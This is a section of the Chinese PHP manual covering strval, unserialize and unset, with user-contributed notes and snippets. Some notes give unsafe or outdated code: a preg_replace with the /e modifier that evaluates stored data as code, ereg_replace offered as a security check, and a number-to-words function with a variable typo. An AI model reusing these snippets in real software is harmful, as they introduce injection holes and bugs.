In and of itself, this wouldn't be problematic.  It might even make sense.  But in all other cases where $foo is defined, even if (boolean) $foo === false, it will throw an error unless $foo->bar is valid (i.e. $foo is an object already).

<?php
$foo = true;
settype($foo->bar,"integer"); // Notice: Trying to get property of non-object
?>
NWdev 17-Nov-2008 09:38
In trying to convert an array of strings to an array of ints,
I attempted to use settype with array_walk.

<?php
//$numArray is generated by another process
$numArray = array('13','14','33');

var_dump($numArray);

//my conversion function
function str_to_int($val){
  //remember: settype($x, 'int') returns boolean (1=success, 0=failure)
  //--> so return $x to return new value
    settype($val,'int');
    echo "<br />gettype = ".gettype($val)."<br />";
    return $val;
}

array_walk($numArray,'str_to_int');

var_dump($numArray);
?>

The var_dumps both return the following:
<?php
array(3) { [0]=> string(2) "13" [1]=> string(2) "14" [2]=> string(2) "33" }
?>

The gettype echo will show the value as an integer.

So it seems that settype($val,'int') makes the conversion,
but the function return value remains a string.
Since settype returns a boolean, using
<?php $val = settype($val, 'int'); ?>
is not a option.

I resolved my array value conversion using this instead:
<?php
$numArray =
      array_map(create_function('$value', 'return (int)$value;'),$numArray);
?>
Thanks to the posting here:
http://usrportage.de/archives/
808-Convert-an-array-of-strings-into-an-array-of-integers.html

Perhaps this will save someone else spinning wheels a bit.

Also thanks to robin at barafranca dot com for
pointing out the boolean return value of settype.
robin at barafranca dot com 05-Mar-2008 04:20
Just a quick note, as this caught me out very briefly:

settype() returns bool, not the typecasted variable - so:

$blah = settype($blah, "int"); // is wrong, changes $blah to 0 or 1
settype($blah, "int"); // is correct

Hope this helps someone else who makes a mistake.. ;)
ludvig dot ericson gmail.dot com 09-Apr-2006 08:36
To matt:
This function accepts a paremeter, which does not imply you using hardcoded stuff, instead you can let the user choose! \o/

As a part of a framework or something.

Plus, you can probably call this with call_user_func
matt at mattsoft dot net 06-Dec-2005 09:49
using (int) insted of the settype function works out much better for me. I have always used it. I personally don't see where settype would ever come in handy.
Michael Benedict 29-Oct-2005 10:55
note that settype() will initialize an undefined variable.  Therefore, if you want to preserve type and value, you should wrap the settype() call in a call to isset().

<?php
settype($foo, "integer");
echo("|$foo|");
?>

prints "|0|", NOT "||".

To get the latter, use:
<?php
if(isset($foo)) settype($foo, "integer");
echo("|$foo|");
?>
nospamplease at veganismus dot ch 22-Jul-2005 07:38
you must note that this function will not set the type permanently! the next time you set the value of that variable php will change its type as well.
reinier_deblois at hotmail dot com 13-Mar-2005 09:18
Instead of settype you could use:
<?php

$int=593;  // $int is a integer

$int.="";   // $int is now a string
memandeemail at gmail dot com 09-Dec-2004 05:17
/**
    * @return bool
    * @param array[byreference] $values
    * @desc Convert an array or any value to Escalar Object [not tested in large scale]
    */
    function setobject(&$values) {
        $values = (object) $values;
        foreach ($values as $tkey => $val) {
            if (is_array($val)) {
                setobject($val);
                $values->$tkey = $val;
            }
        }
        return (bool) $values;
    }
sdibb at myway dot com 06-Sep-2003 10:03
Using settype is not the best way to convert a string into an integer, since it will strip the string wherever the first non-numeric character begins.  The function intval($string) does the same thing.

If you're looking for a security check, or to strip non-numeric characters (such as cleaning up phone numbers or ZIP codes),  try this instead:

<?
     $number=ereg_replace("[^0-9]","",$number);
?>
ns at canada dot com 05-May-2000 04:38
This settype() behaviour seems consistent to me. Quoting two sections from the manual:

"When casting from a scalar or a string variable to an array, the variable will become the first element of the array: "
<pre>
2 $var = 'ciao';
3 $arr = (array) $var;
4 echo $arr[0];  // outputs 'ciao'
</pre>

And if (like your code above) you do a settype on an empty variable, you'll end up with a one element array with an empty (not unset!) first element. So appeanding to it will start appending at index 1. As for why reset() doesn't do anything:

"When you assign a value to an array variable using empty brackets, the value will be added onto the end of the array."

It doesn't matter where the array counter is; values are added at the end, not at the counter.


获取变量的字符串值

  • ? settype
  • unserialize ?
  • PHP Manual
  • 变量处理函数
  • 获取变量的字符串值

strval

(PHP 4, PHP 5, PHP 7, PHP 8)

strval — 获取变量的字符串值

说明

strval(mixed $value): string

返回变量的字符串值。参见 string 文档获取更多关于转换为字符串的信息。

此函数对返回值不执行任何格式设置。如果需要将数值格式化字符串的方法，请参阅 sprintf() 和 number_format()。

参数

value

可以转换为 string 的变量。

value 可以是任何标量类型、null
或者实现了 __toString()
方法的对象。不能在数组或者未实现 __toString()
方法的对象上使用 strval()。

返回值

value 的 string 值。

示例

Example #1 使用 PHP 魔术方法 __toString() 的 strval() 示例。

<?php
class StrValTest
{
public function __toString()
{
return __CLASS__;
}
}

// 打印"StrValTest"
echo strval(new StrValTest);
?>

参见

  • boolval() - 获取变量的布尔值
  • floatval() - 获取变量的浮点值
  • intval() - 获取变量的整数值
  • settype() - 设置变量的类型
  • sprintf() - 返回格式化字符串
  • number_format() - 以千位分隔符方式格式化一个数字
  • Type juggling
  • __toString()

User Contributed Notes

fabrice at vignals dot com 17-Dec-2021 10:01
My logic is stress.

bolean is true OR false;

<?= strval( true); ?> //output: 1

You must use:
<?= var_export( true ) ?> //output: true
Mark Clements 02-Jun-2016 01:17
Some notes about how this function has changed over time, with regards the following statement:

> You cannot use strval() on arrays or on objects that
> do not implement the __toString() method.

== Arrays ==

In PHP 5.3 and below, strval(array(1, 2, 3)) would return the string "Array" without any sort of error occurring.

From 5.4 and above, the return value is unchanged but you will now get a notice-level error: "Array to string conversion".

== Objects ==

For objects that do not implement __toString(), the behaviour has varied:

PHP 4: "Object"
PHP 5 < 5.2: "Object id #1" (number obviously varies)
PHP >= 5.2: Catchable fatal error:  Object of class X could not be converted to string
Hayley Watson 21-Aug-2007 08:53
As of PHP 5.2, strval() will return the string value of an object, calling its __toString() method to determine what that value is.
NyctoFixer at gmail dot com 11-Jun-2007 12:19
As of PHP 5.1.4 (I have not tested it in later versions), the strval function does not attempt to invoke the __toString method when it encounters an object. This simple wrapper function will handle this circumstance for you:

<?

/**
 * Returns the string value of a variable
 *
 * This differs from strval in that it invokes __toString if an object is given
 * and the object has that method
 */
function stringVal ($value)
{
    // We use get_class_methods instead of method_exists to ensure that __toString is a public method
    if (is_object($value) && in_array("__toString", get_class_methods($value)))
        return strval($value->__toString());
    else
        return strval($value);
}

?>
kendsnyder+phpnet at gmail dot com 01-Jun-2007 10:08
The only way to convert a large float to a string is to use printf('%0.0f',$float); instead of strval($float); (php 5.1.4).

// strval() will lose digits around pow(2,45);
echo pow(2,50); // 1.1258999068426E+015
echo (string)pow(2,50); // 1.1258999068426E+015
echo strval(pow(2,50)); // 1.1258999068426E+015

// full conversion
printf('%0.0f',pow(2,50)); // 112589906846624
echo sprintf('%0.0f',pow(2,50)); // 112589906846624
portos_ze_retour at hotmail dot fr 10-Mar-2006 08:15
In complement to Tom Nicholson's contribution, here is the french version (actually it's possible to change the language, but you should check the syntax ;) )

function int_to_words($x) {
   global $nwords;

   if(!is_numeric($x))
     $w = '#';
   else if(fmod($x, 1) != 0)
     $w = '#';
   else {
     if($x < 0) {
         $w = $nwords['minus'].' ';
         $x = -$x;
     } else
         $w = '';
     // ... now $x is a non-negative integer.

     if($x < 21)  // 0 to 20
         $w .= $nwords[$x];
     else if($x < 100) {  // 21 to 99
         $w .= $nwords[10 * floor($x/10)];
         $r = fmod($x, 10);
         if($r > 0)
           $w .= '-'. $nwords[$r];
     } else if($x < 1000) {  // 100 to 999
         $w .= $nwords[floor($x/100)] .' '.$nwords['hundred'];
         $r = fmod($x, 100);
         if($r > 0)
           $w .= ' '.$nwords['separator'].' '. int_to_words($r);
     } else if($x < 1000000) {  // 1000 to 999999
         $w .= int_to_words(floor($x/1000)) .' '.$nwords['thousand'];
         $r = fmod($x, 1000);
         if($r > 0) {
           $w .= ' ';
           if($r < 100)
               $w .= $nwords['separator'].' ';
           $w .= int_to_words($r);

         }
     } else {    //  millions
         $w .= int_to_words(floor($x/1000000)) .' '.$nwords['million'];
         $r = fmod($x, 1000000);
         if($r > 0) {
           $w .= ' ';
           if($r < 100)
               $word .= $nwords['separator'].' ';
           $w .= int_to_words($r);
         }
     }
   }
   return $w;
}

 // Usage in English
$nwords = array( "zero", "one", "two", "three", "four", "five", "six", "seven",
                   "eight", "nine", "ten", "eleven", "twelve", "thirteen",
                   "fourteen", "fifteen", "sixteen", "seventeen", "eighteen",
                   "nineteen", "twenty", 30 => "thirty", 40 => "forty",
                   50 => "fifty", 60 => "sixty", 70 => "seventy", 80 => "eighty",
                   90 => "ninety" , "hundred" => "hundred", "thousand"=> "thousand", "million"=>"million",
                   "separator"=>"and", "minus"=>"minus");

echo 'There are currently '. int_to_words(-120223456) . ' members logged on.<br>';

 //Utilisation en Francais
$nwords = array( "zéro", "un", "deux", "trois", "quatre", "cinq", "six", "sept",
                   "huit", "neuf", "dix", "onze", "douze", "treize",
                   "quatorze", "quinze", "seize", "dix-sept", "dix-huit",
                   "dix-neuf", "vingt", 30 => "trente", 40 => "quarante",
                   50 => "cinquante", 60 => "soixante", 70 => "soixante-dix", 80 => "quatre-vingt",
                   90 => "quatre-vingt-dix" , "hundred" => "cent", "thousand"=> "mille", "million"=>"million",
                   "separator"=>"", "minus"=>"moins");

echo 'Il y a actuellement '. int_to_words(-120223456) . ' membres connectés.<br>';
php at ianco dot co dot uk 07-Oct-2005 04:36
I can't help being surprised that

(string)"0" == (string)"0.00"

evaluates to true. It's the same with strval and single quotes.
=== avoids it.

Why does it matter? One of my suppliers, unbelievably, uses 0 to mean standard discount and 0.00 to mean no discount in their stock files.
Steve Ball 08-Sep-2005 07:18
It seems that one is being treated as an unsigned large int (32 bit), and the other as a signed large int (which has rolled over/under).

2326201276 - (-1968766020) =  4294967296.
Tom Nicholson 28-Apr-2004 09:13
If you want to convert an integer into an English word string, eg. 29 -> twenty-nine, then here's a function to do it.

Note on use of fmod()
  I used the floating point fmod() in preference to the % operator, because % converts the operands to int, corrupting values outside of the range [-2147483648, 2147483647]

I haven't bothered with "billion" because the word means 10e9 or 10e12 depending who you ask.

The function returns '#' if the argument does not represent a whole number.

<?php
$nwords = array( "zero", "one", "two", "three", "four", "five", "six", "seven",
                   "eight", "nine", "ten", "eleven", "twelve", "thirteen",
                   "fourteen", "fifteen", "sixteen", "seventeen", "eighteen",
                   "nineteen", "twenty", 30 => "thirty", 40 => "forty",
                   50 => "fifty", 60 => "sixty", 70 => "seventy", 80 => "eighty",
                   90 => "ninety" );

function int_to_words($x) {
   global $nwords;

   if(!is_numeric($x))
      $w = '#';
   else if(fmod($x, 1) != 0)
      $w = '#';
   else {
      if($x < 0) {
         $w = 'minus ';
         $x = -$x;
      } else
         $w = '';
      // ... now $x is a non-negative integer.

      if($x < 21)   // 0 to 20
         $w .= $nwords[$x];
      else if($x < 100) {   // 21 to 99
         $w .= $nwords[10 * floor($x/10)];
         $r = fmod($x, 10);
         if($r > 0)
            $w .= '-'. $nwords[$r];
      } else if($x < 1000) {   // 100 to 999
         $w .= $nwords[floor($x/100)] .' hundred';
         $r = fmod($x, 100);
         if($r > 0)
            $w .= ' and '. int_to_words($r);
      } else if($x < 1000000) {   // 1000 to 999999
         $w .= int_to_words(floor($x/1000)) .' thousand';
         $r = fmod($x, 1000);
         if($r > 0) {
            $w .= ' ';
            if($r < 100)
               $w .= 'and ';
            $w .= int_to_words($r);
         }
      } else {    //  millions
         $w .= int_to_words(floor($x/1000000)) .' million';
         $r = fmod($x, 1000000);
         if($r > 0) {
            $w .= ' ';
            if($r < 100)
               $word .= 'and ';
            $w .= int_to_words($r);
         }
      }
   }
   return $w;
}

?>

Usage:
<?php
echo 'There are currently '. int_to_words($count) . ' members logged on.';
?>


从已存储的表示中创建 PHP 的值

  • ? strval
  • unset ?
  • PHP Manual
  • 变量处理函数
  • 从已存储的表示中创建 PHP 的值

unserialize

(PHP 4, PHP 5, PHP 7, PHP 8)

unserialize — 从已存储的表示中创建 PHP 的值

说明

unserialize(string $data, array $options = []): mixed

unserialize() 对单一的已序列化的变量进行操作，将其转换回 PHP 的值。

Warning

无论 allowed_classes 的 options 值如何，都不要将不受信任的用户输入传递给 unserialize()。由于对象实例化和自动加载，反序列化可能会导致加载代码并执行，恶意用户可能会利用这一点。如果需要将序列化数据传递给用户，请使用安全、标准的数据交换格式，例如 JSON（通过 json_decode() 和 json_encode()）。

如果需要反序列化外部存储的序列化数据，请考虑使用 hash_hmac() 做数据验证。确保数据不会被任何人修改。

参数

data

序列化后的字符串。

若被反序列化的变量是一个对象，在成功地重新构造对象之后，PHP 会试图自动调用 __unserialize() 或 __wakeup() 方法（如果存在）。

Note: unserialize_callback_func 指令

如果在反序列化时需要实例化未定义类，则可以设置回调函数以供调用（以免得到的是不完整的 object "__PHP_Incomplete_Class"）。可通过 php.ini、ini_set() 或 .htaccess 定义 unserialize_callback_func。每次实例化未定义类时它都会被调用。若要禁止这个特性，只需置空此设定。

options

使用关联数组提供给 unserialize() 的任何选项。

可用选项
名称 | 类型 | 说明
allowed_classes | mixed | 应该接受的类名数组，false 表示不接受任何类，或者 true 表示接受所有类。如果定义此选项且 unserialize() 遇到不接受的类的对象，则该对象将会实例化为 __PHP_Incomplete_Class。 省略此选项等同于定义为 true：PHP 将会尝试实例化任何类的对象。
max_depth | int | 反序列时允许的最大结构深度，主要为了防止栈溢出。默认深度限制为 4096，可以通过将 max_depth 设置为 0 来禁用。

返回值

返回的是转换之后的值，可为 bool、int、float、string、array 或 object。

如果传递的字符串不可反序列化，则返回 false，并产生 E_NOTICE。

错误／异常

对象可能会在反序列化处理程序中抛出 Throwable。

更新日志

版本 | 说明
7.4.0 | 新增 options 的 max_depth 元素，设置反序列化时允许的最大结构深度。
7.1.0 | options 的 allowed_classes 元素现在是严格类型，即如果给出 array 或 bool 以外的任何内容，则 unserialize() 返回 false 并发出 E_WARNING。

示例

Example #1 unserialize() 例子

<?php
// 这里，我们使用 unserialize() 装载来自数据库的 $session_data 数组中的会话数据。
// 此例是描述 serialize() 的那个例子的补充。

$conn = odbc_connect("webdb", "php", "chicken");
$stmt = odbc_prepare($conn, "SELECT data FROM sessions WHERE id = ?");
$sqldata = array($_SERVER['PHP_AUTH_USER']);
if (!odbc_execute($stmt, $sqldata) || !odbc_fetch_into($stmt, $tmp)) {
// 如果执行出错或返回错误，则初始化为空数组
$session_data = array();
} else {
// 现在我们需要的是 $tmp[0] 中已序列化的数据。
$session_data = unserialize($tmp[0]);
if (!is_array($session_data)) {
// 出错，初始化为空数组
$session_data = array();
}
}
?>

Example #2 unserialize_callback_func 例子

<?php
$serialized_object='O:1:"a":1:{s:5:"value";s:3:"100";}';

ini_set('unserialize_callback_func', 'mycallback'); // 设置您的回调函数

function mycallback($classname)
{
// 只需包含含有类定义的文件
// $classname 指出需要的是哪一个类
}
?>

注释

Warning

如果发生了错误或反序列化了已序列化的 false 值，则会返回 false。可以通过 data 和 serialize(false) 进行比较，或者捕捉 E_NOTICE 错误来判断这种特殊情况。

参见

  • json_encode() - 对变量进行 JSON 编码
  • json_decode() - 对 JSON 格式的字符串进行解码
  • hash_hmac() - 使用 HMAC 方法生成带有密钥的散列值
  • serialize() - 生成值的可存储表示
  • 自动加载类
  • unserialize_callback_func
  • unserialize_max_depth
  • __wakeup()
  • __serialize()
  • __unserialize()

User Contributed Notes

OscarZarrus 20-Oct-2022 09:34
For those who are looking for an efficient solution for handling controversial "FALSE", they can use this function which in case of non-unserializable string, instead of a "FALSE", throws an Exception. Vice versa it returns the unserialized variable.
<?php
    /**
     * @param string $serializedString
     * @param array $options
     * @return mixed
     * @throws Exception
     */
    function UnSerialize(string $serializedString, array $options = []) {
        $_unserialized = @unserialize($serializedString, $options);
        if ($serializedString === serialize(false) || $_unserialized !== false){
            return $_unserialized;
        }
        throw new Exception("Non-unserializable string");

    }

?>
karsten at dambekalns dot de 27-Nov-2020 07:53
Keep in mind that the allowed_classes does not use inheritance, i.e. allowing an interface is not possible and sub-classes won't pass the check. See https://3v4l.org/tdHfl
hadley8899 at gmail dot com 13-Jan-2020 01:58
For the people who are getting the error

PHP Notice:  unserialize(): Error at offset 191 of 285 bytes in ...

and are getting the data from a database, Make sure that you have the database set the the correct encoding, I had the database set as latin1_swedish_ci and all of the data looked perfect, Infact when i copied it into a online unserialize it worked fine. I changed the collation to utf8mb4_unicode_ci and all worked fine.
Anonymous 11-Mar-2019 06:36
If serialize() is the answer, you're almost certainly asking the wrong question.

JSON is widely available. The only thing it does not do, is the very thing that makes serialization immensely dangerous. All it takes is a crafty hacker to pass a crafted payload to a supposedly 'secured' serialize call, for a database driver to be overwritten with malicious code, for example.

Recreate the object. Normally. With actual data, and a source file, not with serialize. To do otherwise is laziness bordering on malice.
me+phpnet at unreal4u dot com 30-Oct-2017 03:30
Just some reminder which may save somebody some time regarding the `$options` array:

Say you want to be on the safe side and not allow any objects to be unserialized... My first thought was doing the following:

<?php
$lol = unserialize($string, false);
// This will generate:
// Warning: unserialize() expects parameter 2 to be array, boolean given
?>

The correct way of doing this is the following:
<?php
$lol = unserialize($string, ['allowed_classes' => false]);
?>

Hope it helps somebody!
bjd 02-Jan-2017 12:49
Talk on Exploiting PHP7 Unserialize here: https://media.ccc.de/v/33c3-7858-exploiting_php7_unserialize
m.m.j.kronenburg 06-Sep-2016 09:52
You can use the following code to use the php 7 unserialize function in php 5.3 and upwards. This adds the $option argument.

<?php

namespace
{

/**
 * PHP 7 unserialize function for PHP 5.3 upwards.
 * Added the $option argument (allowed_classes).
 * See php unserialize manual for more detail.
 **/
function php7_unserialize($str, $options = array())
{
  if(version_compare(PHP_VERSION, '7.0.0', '>='))
  { return unserialize($str, $options); }

  $allowed_classes = isset($options['allowed_classes']) ?
    $options['allowed_classes'] : true;
  if(is_array($allowed_classes) || !$allowed_classes)
  {
    $str = preg_replace_callback(
      '/(?=^|:)(O|C):\d+:"([^"]*)":(\d+):{/',
      function($matches) use ($allowed_classes)
      {
        if(is_array($allowed_classes) &&
          in_array($matches[2], $allowed_classes))
        { return $matches[0]; }
        else
        {
          return $matches[1].':22:"__PHP_Incomplete_Class":'.
            ($matches[3] + 1).
            ':{s:27:"__PHP_Incomplete_Class_Name";'.
            serialize($matches[2]);
        }
      },
      $str
    );
  }
  unset($allowed_classes);
  return unserialize($str);
}

} // namespace

namespace my_name_space
{
  /**
   * Use the new php7 unserialize in your namespace without
   * renaming all unserialize(...) function calls to
   * php7_unserialize(...).
   **/
  function unserialize($str, $options = array())
  { return php7_unserialize($str, $options); }
}

?>
chris at pollett dot org 02-Jul-2015 03:28
When you serialize an object of a class from a particular namespace, the namespace is recorded as part of the serialization. If you decide to change this namespace's name, it can be hard to read in old serialized objects. I.e., suppose you had serialized an object of type foo\A, you change the namespace of your project to goo but otherwise leave the class definition of A unchanged. You would like to be able to unserialize the object as goo\A, instead unserialization will only create a partial object. To fix this in the case where you don't have nested objects in your class definition, you can use the following simple rename function:
/**
 * Used to change the namespace of a serialized php object (assumes doesn't
 * have nested subobjects)
 *
 * @param string $class_name new fully qualified name with namespace
 * @param string $object_string serialized object
 *
 * @return string serialized object with new name
 */
function renameSerializedObject($class_name, $object_string)
{
    /*  number of digits in the length of name of the object needs to be
        less than 12 digits (probably more like 4) for this to work.
    */
    $name_length = intval(substr($object_string, 2, 14));
    $name_space_info_length = strlen("O:".$name_length.":") +
        $name_length + 2; // 2 for quotes;
    $object_string = 'O:' .
        strlen($class_name) . ':"'. $class_name.'"' .
        substr($object_string, $name_space_info_length);
    return $object_string;
}
ErnestV 03-Aug-2013 01:05
Just a note - if the serialized string contains a reference to a class that cannot be instantiated (e.g. being abstract) PHP will immediately die with a fatal error. If the unserialize() statement is preceded with a '@' to avoid cluttering the logs with warns or notices there will be absolutely no clue as to why the script stopped working. Cost me a couple of hours...
Ray.Paseur often uses Gmail 26-Jul-2013 01:41
In the Classes and Objects docs, there is this: In order to be able to unserialize() an object, the class of that object needs to be defined.

Prior to PHP 5.3, this was not an issue.  But after PHP 5.3 an object made by SimpleXML_Load_String() cannot be serialized.  An attempt to do so will result in a run-time failure, throwing an exception.  If you store such an object in $_SESSION, you will get a post-execution error that says this:

Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'SimpleXMLElement' is not allowed' in [no active file]:0 Stack trace: #0 {main} thrown in [no active file] on line 0

The entire contents of the session will be lost.  Hope this saves someone some time!

<?php // RAY_temp_ser.php
error_reporting(E_ALL);
session_start();
var_dump($_SESSION);
$_SESSION['hello'] = 'World';
var_dump($_SESSION);

// AN XML STRING FOR TEST DATA
$xml = '<?xml version="1.0"?>
<families>
  <parent>
    <child index="1" value="Category 1">Child One</child>
  </parent>
</families>';

// MAKE AN OBJECT (GIVES SimpleXMLElement)
$obj = SimpleXML_Load_String($xml);

// STORE THE OBJECT IN THE SESSION
$_SESSION['obj'] = $obj;
suman dot jis at gmail dot com 13-Mar-2012 09:12
I was getting unserialize()  Error at offset error.

If you face similar problem  then use the following procedure

$auctionDetails = preg_replace('!s:(\d+):"(.*?)";!se', "'s:'.strlen('$2').':\"$2\";'", $dataArr[$i]['auction_details'] );
$auctionDetails = unserialize($auctionDetails);
walf 22-Aug-2011 08:22
a replacement for unserialize that returns whether it worked and populates the unserialized variable by reference:
<?php
function funserialize($serialized, &$into) {
    static $sfalse;
    if ($sfalse === null)
        $sfalse = serialize(false);
    $into = @unserialize($serialized);
    return $into !== false || rtrim($serialized) === $sfalse;//whitespace at end of serialized var is ignored by PHP
}

$s_foo = 'b:0;';
var_dump(funserialize($s_foo, $foo), $foo);

$s_bar = 'bar';
var_dump(funserialize($s_bar, $bar), $bar);

$s_foo = 'a:0:{};';
var_dump(funserialize($s_foo, $foo), $foo);

?>
gives:

bool(true)
bool(false)

bool(false)
bool(false)

bool(true)
array(0) {
}
MBa 02-Aug-2011 03:49
To check if a string is serialized:

$blSerialized=(@unserialize($sText)||$sText=='b:0;');
chris at colourlovers dot com 16-Jun-2011 05:31
Anyone having trouble serializing data with SimpleXMLElement objects stored within it, check this out:

This will traverse $data looking for any children which are instances of SimpleXMLElement, and will run ->asXML() on them, turning them into a string and making them serializable. Other data will be left alone.

<?php
function exportNestedSimpleXML($data) {
    if (is_scalar($data) === false) {
        foreach ($data as $k => $v) {
            if ($v instanceof SimpleXMLElement) {
                $v = str_replace("&#13;","\r",$v->asXML());
            } else {
                $v = exportNestedSimpleXML($v);
            }

            if (is_array($data)) {
                $data[$k] = $v;
            } else if (is_object($data)) {
                $data->$k = $v;
            }
        }
    }

    return $data;
}

$data = array (
    "baz" => array (
        "foo" => new stdClass(),
        "int" => 123,
        "str" => "asdf",
        "bar" => new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>'),
    )
);

var_dump($data);
/*array(1) {
  ["baz"]=>
  array(4) {
    ["foo"]=>
    object(stdClass)#3 (0) {
    }
    ["int"]=>
    int(123)
    ["str"]=>
    string(4) "asdf"
    ["bar"]=>
    object(SimpleXMLElement)#4 (1) {
      [0]=>
      string(3) "bar"
    }
  }
}*/

var_dump(exportNestedSimpleXML($data));
/*array(1) {
  ["baz"]=>
  array(4) {
    ["foo"]=>
    object(stdClass)#3 (0) {
    }
    ["int"]=>
    int(123)
    ["str"]=>
    string(4) "asdf"
    ["bar"]=>
    string(54) "<?xml version="1.0" encoding="UTF-8"?>
<foo>bar</foo>
"
  }
}
*/
?>
daniel at fourstaples dot com 23-Mar-2010 08:46
Here's a simple function to get the class of a serialized string (that is, the type of object that will be returned if it's unserialized):

<?php
function get_serial_class($serial) {
    $types = array('s' => 'string', 'a' => 'array', 'b' => 'bool', 'i' => 'int', 'd' => 'float', 'N;' => 'NULL');

    $parts = explode(':', $serial, 4);
    return isset($types[$parts[0]]) ? $types[$parts[0]] : trim($parts[2], '"');
}
?>

I use this when saving a serialized object to a cookie, to make sure it is the right type when I go to unserialize it.

The type names are the same format/case as you would see if you did a var_dump().
Fagzal 09-Mar-2010 10:10
To all who have problem with quoting and slashes when storing serialized data in MySQL: you are probably doing it wrong.

Use e.g. PDO with placeholders and the blob column type, and it will Just Work.
arbie samong 10-Sep-2009 07:42
__PHP_Incomplete_Class Object Demystified

1. First take note of the output. A simple example:

__PHP_Incomplete_Class Object (
[__PHP_Incomplete_Class_Name] => SomeObject1
[obj1property1] => somevalue1 [obj1property2] => __PHP_Incomplete_Class Object ( [__PHP_Incomplete_Class_Name] => SomeObject2 [obj2property1] => somevalue1 [obj2property2] => Array (
['key1'] => somevalue3, ['key2'] => somevalue4 ) ) )

2. We analyze this and break it down.
__PHP_Incomplete_Class Object tells you there is an object that needs to be declared somehow.
__PHP_Incomplete_Class_Name simply tells you the expected class name. It is just one of the properties for now.

So we have:
a) an unknown object that has a class name SomeObject1 (first class)
b) it has 2 properties, namely obj1property1 and obj2property2
c) obj2property2 is itself an object whose class name is SomeObject2 (the second class)
d) SomeObject2 has two properties, obj2property1 and obj2property2
e) obj2property2 is an array that contains two elements

3. Now that we have an idea of the structure, we shall create class definitions based from it. We will just create properties for now, methods are not required as a minimum.

<?php
class SomeObject1 {
        public $obj1property1;
        public $obj1property2;
}
class SomeObject2 {
        public $obj2property1;
        public $obj2property2;
}
?>

4. Have that accessible to your script and it will solve the __PHP_Incomplete_Class Object problem as far as the output is concerned. Now you will have:

SomeObject1 ( [obj1property1] => somevalue1 [obj1property2] => SomeObject2 ( [obj2property1] => somevalue1 [obj2property2] => Array ( ['key1'] => somevalue3, ['key2'] => somevalue4 ) ) )

As you will notice, __PHP_Incomplete_Class Object is gone and replaced by the class name. The property __PHP_Incomplete_Class_Name is also removed.

5. As for the array property obj2property2, we can directly access that and just assume that it is an array and loop through it:

<?php

// this will be SomeObject1
$data = unserialize($serialized_data);

// this will be SomeObject2
$data2 = $data->obj1property2();

foreach($data2->obj2property2 as $key => $value):
         print $key.' : '. $value .'<br>';
endforeach;

?>

Outputs:
key1 : somevalue3
key2 : somevalue4

That's it. You can add more methods on the class declarations for the given properties, provided you keep your original output as basis for the data types.
w dot laurencine at teknoa dot net 07-Apr-2009 05:54
When dealing with a string which contain "\r", it seems that the length is not evaluated correctly. The following solves the problem for me :

<?php
// remove the \r caracters from the $unserialized string
$unserialized = str_replace("\r","",$unserialized);

// and then unserialize()
unserialize($unserialized);
?>
chris AT cmbuckley DOT co DOT uk 14-Aug-2008 06:47
As mentioned in the notes, unserialize returns false in the event of an error and for boolean false. Here is the first solution mentioned, without using error handling:

<?php
function isSerialized($str) {
    return ($str == serialize(false) || @unserialize($str) !== false);
}

var_dump(isSerialized('s:6:"foobar";')); // bool(true)
var_dump(isSerialized('foobar'));        // bool(false)
var_dump(isSerialized('b:0;'));          // bool(true)
?>
BenBE at omorphia dot de 02-Mar-2007 06:20
When trying to serialize or unserialize recursive arrays or otherwise linked data you might find the undocumented R data type quite useful.

If you want a array like the one produced with
<?
$a = array();
$a[0] =& $a;
?>
serialized you can store it using a string simular to this one:
<?
$a = unserialize("a:1:{i:0;R:1;}");
?>

Both sources will make $a hold an array that self-references itself in index 0.

The argument for R is the index of the created sub-variable of the serialize-string beginning with 1.
double at dumpit dot com 19-Dec-2006 05:09
This little function will check whether the serialized string is well formed.

PHP < 6 because i'd heard changes will be made in this php-intern function,
maybe it could be edited easy for it.

<?php

function wd_check_serialization( $string, &$errmsg )
{

    $str = 's';
    $array = 'a';
    $integer = 'i';
    $any = '[^}]*?';
    $count = '\d+';
    $content = '"(?:\\\";|.)*?";';
    $open_tag = '\{';
    $close_tag = '\}';
    $parameter = "($str|$array|$integer|$any):($count)" . "(?:[:]($open_tag|$content)|[;])";
    $preg = "/$parameter|($close_tag)/";
    if( !preg_match_all( $preg, $string, $matches ) )
    {
        $errmsg = 'not a serialized string';
        return false;
    }
    $open_arrays = 0;
    foreach( $matches[1] AS $key => $value )
    {
        if( !empty( $value ) && ( $value != $array xor $value != $str xor $value != $integer ) )
        {
            $errmsg = 'undefined datatype';
            return false;
        }
        if( $value == $array )
        {
            $open_arrays++;
            if( $matches[3][$key] != '{' )
            {
                $errmsg = 'open tag expected';
                return false;
            }
        }
        if( $value == '' )
        {
            if( $matches[4][$key] != '}' )
            {
                $errmsg = 'close tag expected';
                return false;
            }
            $open_arrays--;
        }
        if( $value == $str )
        {
            $aVar = ltrim( $matches[3][$key], '"' );
            $aVar = rtrim( $aVar, '";' );
            if( strlen( $aVar ) != $matches[2][$key] )
            {
                $errmsg = 'stringlen for string not match';
                return false;
            }
        }
        if( $value == $integer )
        {
            if( !empty( $matches[3][$key] ) )
            {
                $errmsg = 'unexpected data';
                return false;
            }
            if( !is_integer( (int)$matches[2][$key] ) )
            {
                $errmsg = 'integer expected';
                return false;
            }
        }
    }
    if( $open_arrays != 0 )
    {
        $errmsg = 'wrong setted arrays';
        return false;
    }
    return true;
}

?>
Are Pedersen 09-Aug-2006 01:46
Be aware that if useing serialize/unserialize in a serverfarm with both 32bit and 64bit servers you can get unexpected results.

Ex: if you serialize an integer with value of 2147483648 on a 64bit system and then unserialize it on a 32bit system you will get the value -2147483648 instead. This is because an integer on 32bit cannot be above 2147483647 so it wraps.
Chris Hayes (chris at hypersites dot com) 23-Oct-2004 09:27
In reply to the earlier post about having to include object definitions *before* using unserialize.  There is a workaround for this.

When an object is serialized, the first bit of the string is actually the name of the class.  When an unknown object is unserialized, this is maintained as a property.  So if you serialize it again, you get back the exact same string as if you'd serialized the original object.  Basically, to cut to the point...

If you use

$_SESSION['my_object'] = unserialize(serialize($_SESSION['my_object']))

then you get back an object of the correct type, even if the session had originally loaded it as an object of type stdClass.
aderyn at nowhere dot tld 30-Oct-2003 10:02
A quick note:
If you store a serialized object in a session, you have to include the class _before_ you initialize (session_start()) the session.


清除指定变量

  • ? unserialize
  • var_dump ?
  • PHP Manual
  • 变量处理函数
  • 清除指定变量

unset

(PHP 4, PHP 5, PHP 7, PHP 8)

unset — 清除指定变量

说明

unset(mixed $var, mixed ...$vars): void

unset() 销毁指定变量。

